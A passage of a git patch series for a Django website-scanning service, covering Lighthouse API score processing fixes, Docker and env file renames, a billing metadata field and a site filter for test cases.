@@ -190,17 +183,6 @@ def process_data(self, stdout_json: dict) -> dict:
                     + best_practices_score + pwa_score + crux_score
                 )/ 6)
 
-        # # updating global scores
-        # self.scores = {
-        #     "seo": seo_score,
-        #     "accessibility": accessibility_score,
-        #     "performance": performance_score,
-        #     "best_practices": best_practices_score,
-        #     "pwa": pwa_score,
-        #     "crux": crux_score,
-        #     "average": average_score
-        # }
-
         # save audits data as json file
         file_id = uuid.uuid4()
         with open(f'{file_id}.json', 'w') as fp:

From 7af29e09a65eab6460bf15dc3622100029deb1ad Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:29:04 -0600
Subject: [PATCH 0528/1099] added requests package

---
 app/api/utils/lighthouse.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index fbfa7192..8911ebf9 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,4 +1,4 @@
-import subprocess, json, uuid, boto3, shutil, os
+import subprocess, json, uuid, boto3, shutil, os, requests
 from ..models import Site, Scan
 from scanerr import settings
 

From 2a5b3153b115e33c1e00905209c9c2dd121fa45c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:33:20 -0600
Subject: [PATCH 0529/1099] debugging

---
 app/api/utils/lighthouse.py | 41 ++++++++++++++++++++-----------------
 app/api/utils/scanner.py    | 18 ++++++++--------
 2 files changed, 31 insertions(+), 28 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 8911ebf9..ffa18a5d 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -225,26 +225,29 @@ def get_data(self):
         # trying lighthouse scan untill success or 2 attempts
         while not scan_complete and attempts < 2:
 
-            try:
-                # CLI on first attempt
-                if attempts < 1:
-                    # raw_data = self.lighthouse_cli()
-                    raw_data = self.lighthouse_api()
-                    self.process_data(stdout_json=raw_data)
+            raw_data = self.lighthouse_api()
+            self.process_data(stdout_json=raw_data)
+
+            # try:
+            #     # CLI on first attempt
+            #     if attempts < 1:
+            #         # raw_data = self.lighthouse_cli()
+            #         raw_data = self.lighthouse_api()
+            #         self.process_data(stdout_json=raw_data)
                 
-                # API after first attempt
-                if attempts >= 1:
-                    raw_data = self.lighthouse_api()
-                    self.process_data(stdout_json=raw_data)
-
-                scan_complete = True
-                failed = False
-
-            except Exception as e:
-                print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
-                scan_complete = False
-                failed = True
-                attempts += 1
+            #     # API after first attempt
+            #     if attempts >= 1:
+            #         raw_data = self.lighthouse_api()
+            #         self.process_data(stdout_json=raw_data)
+
+            #     scan_complete = True
+            #     failed = False
+
+            # except Exception as e:
+            #     print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
+            #     scan_complete = False
+            #     failed = True
+            #     attempts += 1
 
         data = {
             "scores": self.scores, 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 614ed7bd..4596d429 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -548,16 +548,16 @@ def _lighthouse(scan_id, test_id, automation_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    try:
+    # try:
     # running lighthouse
-        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
-        
-        # updating Scan object
-        scan = Scan.objects.get(id=scan_id)
-        scan.lighthouse = lh_data
-        scan.save()
-    except Exception as e:
-        print(e)
+    lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+    
+    # updating Scan object
+    scan = Scan.objects.get(id=scan_id)
+    scan.lighthouse = lh_data
+    scan.save()
+    # except Exception as e:
+    #     print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From 50f5ae9d5b16707407a4ec940f19521a43ad139c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:41:09 -0600
Subject: [PATCH 0530/1099] testing new

---
 app/api/utils/lighthouse.py | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index ffa18a5d..b1fba604 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -98,18 +98,16 @@ def lighthouse_api(self) -> dict:
         }
         params = {
             "url": self.page.page_url,
-            "category": "accessibility",
-            "category": "best-practices",
-            "category": "performance",
-            "category": "pwa",
-            "category": "seo",
             "strategy": self.configs["device"],
             "key": settings.GOOGLE_CRUX_KEY
         }
 
+        # cats
+        cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO'
+
         # setting up initial request
         res = requests.get(
-            url=f'{settings.LIGHTHOUSE_ROOT}',
+            url=f'{settings.LIGHTHOUSE_ROOT}?{cats}',
             params=params,
             headers=headers
         ).json()

From 2a6f2275d66b258a20d2152dc9e0998513e7826f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 18:50:27 -0600
Subject: [PATCH 0531/1099] added exception for nonexistant score categories

---
 app/api/utils/lighthouse.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index b1fba604..bd9a9cbd 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -153,8 +153,12 @@ def process_data(self, stdout_json: dict) -> dict:
                         self.audits[cat].append(audit)
        
         # get scores from each category
-        for key in self.scores:
-            self.scores[key] = round(stdout_json["categories"][key]["score"])
+        for cat in self.scores:
+            # skipping non-existent cat
+            if stdout_json["categories"].get(cat) is None:
+                continue
+            # record score
+            self.scores[cat] = round(stdout_json["categories"][cat]["score"])
 
         # changing audits & score names
         self.scores['best_practices'] = self.scores.pop('best-practices')

From 40dc8525c2c41d1e32f0329a166eb23d9b9c443f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:04:12 -0600
Subject: [PATCH 0532/1099] fixing more key errors

---
 app/api/utils/lighthouse.py | 33 ++++++++++++---------------------
 1 file changed, 12 insertions(+), 21 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index bd9a9cbd..9eaca12c 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -21,7 +21,7 @@ def __init__(self, scan=None, configs=None):
             "seo": None,
             "accessibility": None,
             "performance": None,
-            "best-practices": None,
+            "best_practices": None,
             "pwa": None,
             "crux": None,
             "average": None
@@ -32,7 +32,7 @@ def __init__(self, scan=None, configs=None):
             "seo": [],
             "accessibility": [],
             "performance": [],
-            "best-practices": [],
+            "best_practices": [],
             "pwa": [],
             "crux": []
         }
@@ -139,6 +139,11 @@ def process_data(self, stdout_json: dict) -> dict:
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
+        # changing audits & score names before iterations
+        self.scores['best-practices'] = self.scores.pop(' best_practices')
+        self.audits['best-practices'] = self.audits.pop('best_practices')
+        self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux')
+
         # iterating through categories to get relevant lh_audits 
         # and store them in their respective `audits = {}` obj
         for cat in self.audits:
@@ -153,37 +158,23 @@ def process_data(self, stdout_json: dict) -> dict:
                         self.audits[cat].append(audit)
        
         # get scores from each category
+        score_queue = [] 
         for cat in self.scores:
             # skipping non-existent cat
             if stdout_json["categories"].get(cat) is None:
                 continue
             # record score
             self.scores[cat] = round(stdout_json["categories"][cat]["score"])
+            # add to queu
+            score_queue.append(self.scores[cat])
 
-        # changing audits & score names
+        # changing audits & score names back to original
         self.scores['best_practices'] = self.scores.pop('best-practices')
         self.audits['best_practices'] = self.audits.pop('best-practices')
         self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
-       
-        
-        # attempting crux
-        try:
-            crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
-        except:
-            crux_score = 0
 
         # dynamically calculating average
-        if crux_score == 0 :
-            crux_score = None
-            average_score = round((
-                    seo_score + accessibility_score + performance_score 
-                    + best_practices_score + pwa_score
-                )/ 5)
-        else:
-            average_score = round((
-                    seo_score + accessibility_score + performance_score 
-                    + best_practices_score + pwa_score + crux_score
-                )/ 6)
+        average_score = round(sum(score_queue)/len(score_queue))
 
         # save audits data as json file
         file_id = uuid.uuid4()

From 0cf390a2a0c843b236acdd96114eda661fd5f27c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:07:35 -0600
Subject: [PATCH 0533/1099] fixed typo

---
 app/api/utils/lighthouse.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 9eaca12c..538df793 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -140,7 +140,7 @@ def process_data(self, stdout_json: dict) -> dict:
         )
 
         # changing audits & score names before iterations
-        self.scores['best-practices'] = self.scores.pop(' best_practices')
+        self.scores['best-practices'] = self.scores.pop('best_practices')
         self.audits['best-practices'] = self.audits.pop('best_practices')
         self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux')
 

From eb3b7524eb3d48c320a23c8ba048267bc2ce46ff Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:18:16 -0600
Subject: [PATCH 0534/1099] testing

---
 app/api/utils/lighthouse.py | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 538df793..9b7c59d4 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -15,6 +15,7 @@ def __init__(self, scan=None, configs=None):
         self.page = self.scan.page
         self.configs = configs
         self.sizes = configs['window_size'].split(',')
+        self.audits_url = ''
 
         # initial scores object
         self.scores = {
@@ -185,7 +186,7 @@ def process_data(self, stdout_json: dict) -> dict:
         audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
         remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
         root_path = settings.AWS_S3_URL_PATH
-        audits_url = f'{root_path}/{remote_path}'
+        self.audits_url = f'{root_path}/{remote_path}'
     
         # upload to s3
         with open(audit_file, 'rb') as data:
@@ -195,12 +196,9 @@ def process_data(self, stdout_json: dict) -> dict:
         # remove local copy
         os.remove(audit_file)
 
-        # updating opjects
-        self.audits = audits_url
-
         data = {
             "scores": self.scores, 
-            "audits": self.audits,
+            "audits": self.audits_url,
             "failed": False
         }
 
@@ -241,10 +239,10 @@ def get_data(self):
             #     scan_complete = False
             #     failed = True
             #     attempts += 1
-
+            
         data = {
             "scores": self.scores, 
-            "audits": self.audits,
+            "audits": self.audits_url,
             "failed": failed
         }
             

From 1bd4887593f50375d9ea317c15aebc017c0e6b6d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:27:48 -0600
Subject: [PATCH 0535/1099] debugging

---
 app/api/utils/lighthouse.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 9b7c59d4..97ef4f7a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -107,6 +107,7 @@ def lighthouse_api(self) -> dict:
         cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO'
 
         # setting up initial request
+        print('sending request')
         res = requests.get(
             url=f'{settings.LIGHTHOUSE_ROOT}?{cats}',
             params=params,
@@ -115,6 +116,7 @@ def lighthouse_api(self) -> dict:
 
         # try to get just LH response
         res = res.get('lighthouseResult')
+        print('got response')
 
         # return response
         return res
@@ -239,7 +241,7 @@ def get_data(self):
             #     scan_complete = False
             #     failed = True
             #     attempts += 1
-            
+
         data = {
             "scores": self.scores, 
             "audits": self.audits_url,

From 1cc77eeafd526f60ba8427885aeedc2c13f4d9ac Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:32:56 -0600
Subject: [PATCH 0536/1099] fixed infinite loop problem

---
 app/api/utils/lighthouse.py | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 97ef4f7a..2ba7765e 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -214,12 +214,12 @@ def get_data(self):
         scan_complete = False
         failed = None
         attempts = 0
-        
-        # trying lighthouse scan untill success or 2 attempts
-        while not scan_complete and attempts < 2:
 
-            raw_data = self.lighthouse_api()
-            self.process_data(stdout_json=raw_data)
+        raw_data = self.lighthouse_api()
+        self.process_data(stdout_json=raw_data)
+
+        # trying lighthouse scan untill success or 2 attempts
+        # while not scan_complete and attempts < 2:
 
             # try:
             #     # CLI on first attempt

From 48e815f57723f22f2f7aba04c1c17a5a0410a01c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:49:28 -0600
Subject: [PATCH 0537/1099] testing

---
 app/api/utils/lighthouse.py | 53 +++++++++++++++++--------------------
 app/api/utils/scanner.py    | 20 +++++++-------
 2 files changed, 35 insertions(+), 38 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 2ba7765e..c684b084 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -107,7 +107,6 @@ def lighthouse_api(self) -> dict:
         cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO'
 
         # setting up initial request
-        print('sending request')
         res = requests.get(
             url=f'{settings.LIGHTHOUSE_ROOT}?{cats}',
             params=params,
@@ -116,7 +115,6 @@ def lighthouse_api(self) -> dict:
 
         # try to get just LH response
         res = res.get('lighthouseResult')
-        print('got response')
 
         # return response
         return res
@@ -167,8 +165,8 @@ def process_data(self, stdout_json: dict) -> dict:
             if stdout_json["categories"].get(cat) is None:
                 continue
             # record score
-            self.scores[cat] = round(stdout_json["categories"][cat]["score"])
-            # add to queu
+            self.scores[cat] = round(stdout_json["categories"][cat]["score"] * 100)
+            # add to queue
             score_queue.append(self.scores[cat])
 
         # changing audits & score names back to original
@@ -178,6 +176,8 @@ def process_data(self, stdout_json: dict) -> dict:
 
         # dynamically calculating average
         average_score = round(sum(score_queue)/len(score_queue))
+        self.score['average'] = average_score
+
 
         # save audits data as json file
         file_id = uuid.uuid4()
@@ -215,32 +215,29 @@ def get_data(self):
         failed = None
         attempts = 0
 
-        raw_data = self.lighthouse_api()
-        self.process_data(stdout_json=raw_data)
-
         # trying lighthouse scan untill success or 2 attempts
-        # while not scan_complete and attempts < 2:
-
-            # try:
-            #     # CLI on first attempt
-            #     if attempts < 1:
-            #         # raw_data = self.lighthouse_cli()
-            #         raw_data = self.lighthouse_api()
-            #         self.process_data(stdout_json=raw_data)
+        while not scan_complete and attempts < 2:
+
+            try:
+                # CLI on first attempt
+                if attempts < 1:
+                    # raw_data = self.lighthouse_cli()
+                    raw_data = self.lighthouse_api()
+                    self.process_data(stdout_json=raw_data)
                 
-            #     # API after first attempt
-            #     if attempts >= 1:
-            #         raw_data = self.lighthouse_api()
-            #         self.process_data(stdout_json=raw_data)
-
-            #     scan_complete = True
-            #     failed = False
-
-            # except Exception as e:
-            #     print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
-            #     scan_complete = False
-            #     failed = True
-            #     attempts += 1
+                # API after first attempt
+                if attempts >= 1:
+                    raw_data = self.lighthouse_api()
+                    self.process_data(stdout_json=raw_data)
+
+                scan_complete = True
+                failed = False
+
+            except Exception as e:
+                print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
+                scan_complete = False
+                failed = True
+                attempts += 1
 
         data = {
             "scores": self.scores, 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 4596d429..a8c7ede9 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -548,16 +548,16 @@ def _lighthouse(scan_id, test_id, automation_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    # try:
-    # running lighthouse
-    lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.lighthouse = lh_data
-    scan.save()
-    # except Exception as e:
-    #     print(e)
+    try:
+        # running lighthouse
+        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.lighthouse = lh_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From 900a2e2cb9246549e77d3f8e96c40e2e9f227353 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:52:09 -0600
Subject: [PATCH 0538/1099] fixed key error

---
 app/api/utils/lighthouse.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index c684b084..24c2add5 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -176,7 +176,7 @@ def process_data(self, stdout_json: dict) -> dict:
 
         # dynamically calculating average
         average_score = round(sum(score_queue)/len(score_queue))
-        self.score['average'] = average_score
+        self.scores['average'] = average_score
 
 
         # save audits data as json file

From a4552665e3a008536aa56b0db474c41733efac75 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 19:56:43 -0600
Subject: [PATCH 0539/1099] fixed issues with LH update

---
 app/api/utils/lighthouse.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 24c2add5..b9a83bd5 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -221,8 +221,7 @@ def get_data(self):
             try:
                 # CLI on first attempt
                 if attempts < 1:
-                    # raw_data = self.lighthouse_cli()
-                    raw_data = self.lighthouse_api()
+                    raw_data = self.lighthouse_cli()
                     self.process_data(stdout_json=raw_data)
                 
                 # API after first attempt

From 1aa2f992bb3a271c88ca304b774357a2d2d3e25f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 16 May 2024 10:32:51 -0600
Subject: [PATCH 0540/1099] cleaning things up

---
 .gitignore                                    | 12 +++--
 Dockerfile.local => Dockerfile.stage          |  0
 app/api/v1/ops/services.py                    |  6 +--
 docker-compose.stage.yml                      |  6 +--
 docker-compose.yml                            |  2 -
 env/.env.dev.example                          |  1 +
 env/.env.prod.example                         |  1 +
 ...{.env.local.example => .env.stage.example} |  1 +
 functions/yellowlab/Dockerfile                | 53 -------------------
 k8s/local/app-deployment.yaml                 |  2 +-
 k8s/local/celery-deployment.yaml              |  2 +-
 11 files changed, 15 insertions(+), 71 deletions(-)
 rename Dockerfile.local => Dockerfile.stage (100%)
 rename env/{.env.local.example => .env.stage.example} (95%)
 delete mode 100644 functions/yellowlab/Dockerfile

diff --git a/.gitignore b/.gitignore
index f9aedcb0..82919490 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,21 +1,23 @@
-app/api/utils/testing_stuff.py
-app/data*
-app/api/utils/__pycache__/tester.cpython-38.pyc
+db.sqlite3
 .DS_Store
+
 *__pycache__*
-db.sqlite3
 *.pyc 
 __pycache__
 __pycache__/
 */__pycache__/*
 **/__pycache__/
+
 env/.env.local
 env/.env.dev
 env/.env.prod
 env/.env.stage
 env/.env.prod.db
+
+app/data*
 app/static*
 app/api/migrations/*_*.py
+
 k8s/*/*-configs.yaml
+k8s/prod/old_configs/*
 
-app/api/v1/ops/test.py
diff --git a/Dockerfile.local b/Dockerfile.stage
similarity index 100%
rename from Dockerfile.local
rename to Dockerfile.stage
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 624996ae..e68dbab8 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -162,7 +162,7 @@ def create_site(request, delay=False):
         return Response(data, status=status.HTTP_409_CONFLICT)
     else:
         tags = request.data.get('tags', None)
-        configs = request.data.get('configs', None)
+        configs = request.data.get('configs', settings.CONFIGS)
         no_scan = request.data.get('no_scan', False)
         site = Site.objects.create(
             site_url=site_url,
@@ -171,10 +171,6 @@ def create_site(request, delay=False):
             account=account
         )
 
-        # get/set configs
-        if not configs:
-            configs = settings.CONFIGS
-
         # create process obj
         process = Process.objects.create(
             site=site,
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index ccd0c90d..9004e24e 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -6,8 +6,7 @@ services:
     init: true
     restart: always
     build:
-      dockerfile: Dockerfile.local
-    # image: landonr/scanerr-server
+      dockerfile: Dockerfile.stage
     ports:
       - "8000:8000"
     volumes:
@@ -34,8 +33,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.local
-    # image: landonr/scanerr-server
+      dockerfile: Dockerfile.stage
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr
diff --git a/docker-compose.yml b/docker-compose.yml
index bdd56fed..2fb0dbfb 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -8,7 +8,6 @@ services:
     build:
       context: .
       dockerfile: Dockerfile.local
-    # image: landonr/scanerr-server
     ports:
       - "8000:8000"
     volumes:
@@ -47,7 +46,6 @@ services:
     build:
       context: .
       dockerfile: Dockerfile.local
-    # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
       - ./app:/scanerr
diff --git a/env/.env.dev.example b/env/.env.dev.example
index 8de7c30d..2161de15 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -3,6 +3,7 @@ SECRET_KEY = ask-for-this-or-generate-yourself
 CLIENT_URL_ROOT = https://app.example.io            # example
 API_URL_ROOT = https://api.example.io               # example
 YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
+LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 LETSENCRYPT_HOST = api.example.io                   # example
 VIRTUAL_HOST = api.example.io                       # example
 VIRTUAL_PORT = 8000
diff --git a/env/.env.prod.example b/env/.env.prod.example
index 287d1a69..6bca933e 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -4,6 +4,7 @@ CLIENT_URL_ROOT = https://app.example.io            # example
 LANDING_URL_ROOT = https://example.io               # example
 API_URL_ROOT = https://api.example.io               # example
 YELLOWLAB_ROOT = http://yellowlab.example.io:8383   # example
+LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 LETSENCRYPT_HOST = api.example.io                   # example
 DJANGO_ALLOWED_HOSTS = *
 
diff --git a/env/.env.local.example b/env/.env.stage.example
similarity index 95%
rename from env/.env.local.example
rename to env/.env.stage.example
index 094c121f..deea058a 100644
--- a/env/.env.local.example
+++ b/env/.env.stage.example
@@ -4,6 +4,7 @@ CLIENT_URL_ROOT = http://localhost:3000
 CLIENT_URL_ROOT = http://localhost:3000
 API_URL_ROOT = http://localhost:8000
 YELLOWLAB_ROOT = http://yellowlab.scanerr.io:8383
+LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 DJANGO_ALLOWED_HOSTS = *
 
 
diff --git a/functions/yellowlab/Dockerfile b/functions/yellowlab/Dockerfile
deleted file mode 100644
index c4e23a3b..00000000
--- a/functions/yellowlab/Dockerfile
+++ /dev/null
@@ -1,53 +0,0 @@
-FROM node:18-alpine
-
-# Tell Puppeteer to skip installing Chrome. We'll be using the installed binary
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
-
-# Tell phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser
-ENV DOCKERIZED yes
-
-# increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=4000
-ENV NODE_OPTIONS="--max-old-space-size=4000"
-ENV GENERATE_SOURCEMAP=false
-
-WORKDIR /usr/src/ylt
-
-RUN apk upgrade --update && apk --no-cache add git gcc make g++ zlib-dev libjpeg-turbo-dev nasm automake autoconf libtool \
-  && git clone https://github.com/Scanerr-io/ylt-server -b main . \
-  && NODE_ENV=production && export CPPFLAGS="-DPNG_ARM_NEON_OPT=0" && npm install --unsafe-perm=true --allow-root --legacy-peer-deps --omit=dev \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/main" > /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories \
-  && echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories \
-  && apk upgrade -U -a \
-  && apk add \
-    libjpeg-turbo-dev \
-    chromium \
-    ca-certificates \
-    freetype \
-    freetype-dev \
-    harfbuzz \
-    nss \
-    ttf-freefont \
-  && which chromium-browser && chromium-browser --version &&  chown -R nobody:nogroup . \
-  && rm -rf test doc
-
-# Create the results directory and assign nobody:nogroup as the owner
-RUN mkdir -p /usr/src/ylt/results && chown -R nobody:nogroup /usr/src/ylt/results
-
-# Add the volume for results
-VOLUME /usr/src/ylt/results
-
-# Run everything after as non-privileged user.
-USER nobody
-
-# Set up the Chromium environment
-ENV XDG_CONFIG_HOME /tmp/.chromium
-ENV XDG_CACHE_HOME /tmp/.chromium
-
-ENV DEBUG *
-
-EXPOSE 8383
-
-CMD ["node", "bin/server.js"]
\ No newline at end of file
diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml
index 36be9020..353f6432 100644
--- a/k8s/local/app-deployment.yaml
+++ b/k8s/local/app-deployment.yaml
@@ -16,7 +16,7 @@ spec:
         - name: regcred
       containers:
         - name: app
-          image: landonr/scanerr-server
+          image: scanerr/server:latest
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
diff --git a/k8s/local/celery-deployment.yaml b/k8s/local/celery-deployment.yaml
index 64ed79e9..14acc537 100644
--- a/k8s/local/celery-deployment.yaml
+++ b/k8s/local/celery-deployment.yaml
@@ -16,7 +16,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: landonr/scanerr-server
+          image: scanerr/server:latest
           imagePullPolicy: IfNotPresent
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:

From c7048325964615c141d43b2c65e23daa5ac9faca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 16 May 2024 20:12:28 -0600
Subject: [PATCH 0541/1099] added meta (coupon) data to billing view

---
 app/api/v1/billing/views.py | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index e73bd6c8..63ab7057 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -137,6 +137,7 @@ def post(self, request):
         max_schedules = int(request.data.get('max_schedules'))
         retention_days = int(request.data.get('retention_days'))
         testcases = str(request.data.get('testcases', False))
+        meta = request.data.get('meta')
         initial_call = True
         client_secret = None
 
@@ -154,7 +155,8 @@ def post(self, request):
                 max_pages=max_pages,
                 max_schedules=max_schedules,
                 retention_days=retention_days,
-                testcases=testcases
+                testcases=testcases, 
+                meta=meta
             )
 
         account = Account.objects.get(user=user)
@@ -219,7 +221,8 @@ def post(self, request):
             price_amount = price_amount,
             max_schedules = max_schedules,
             retention_days = retention_days,
-            testcases = testcases
+            testcases = testcases,
+            meta = meta
         )        
 
         if initial_call:

From 6158baff3837cad0a9cca376aeb9809e3d70bc23 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 17 May 2024 09:43:06 -0600
Subject: [PATCH 0542/1099] expanded get_cases for site filter

---
 app/api/v1/ops/services.py | 43 +++++++++++++++++++++++++++++++-------
 1 file changed, 35 insertions(+), 8 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e68dbab8..065a98d1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2409,9 +2409,13 @@ def create_or_update_case(request):
 
 def get_cases(request):
     case_id = request.query_params.get('case_id')
+    site_id = request.query_params.get('site_id')
     user = request.user
     account = Member.objects.get(user=user).account
 
+    case = None
+    site = None
+
     if case_id != None:        
         try:
             case = Case.objects.get(id=case_id)
@@ -2429,15 +2433,38 @@ def get_cases(request):
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
+
+    if site_id != None:
+        try:
+            site = Site.objects.get(id=site_id)
+        except:
+            data = {'reason': 'cannot find a Site with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        if site.account != account:
+            data = {'reason': 'cannot retrieve an Case you do not own',}
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
     
-    cases = Case.objects.filter(account=account).order_by('-time_created')
-    paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(cases, request)
-    serializer_context = {'request': request,}
-    serialized = CaseSerializer(result_page, many=True, context=serializer_context)
-    response = paginator.get_paginated_response(serialized.data)
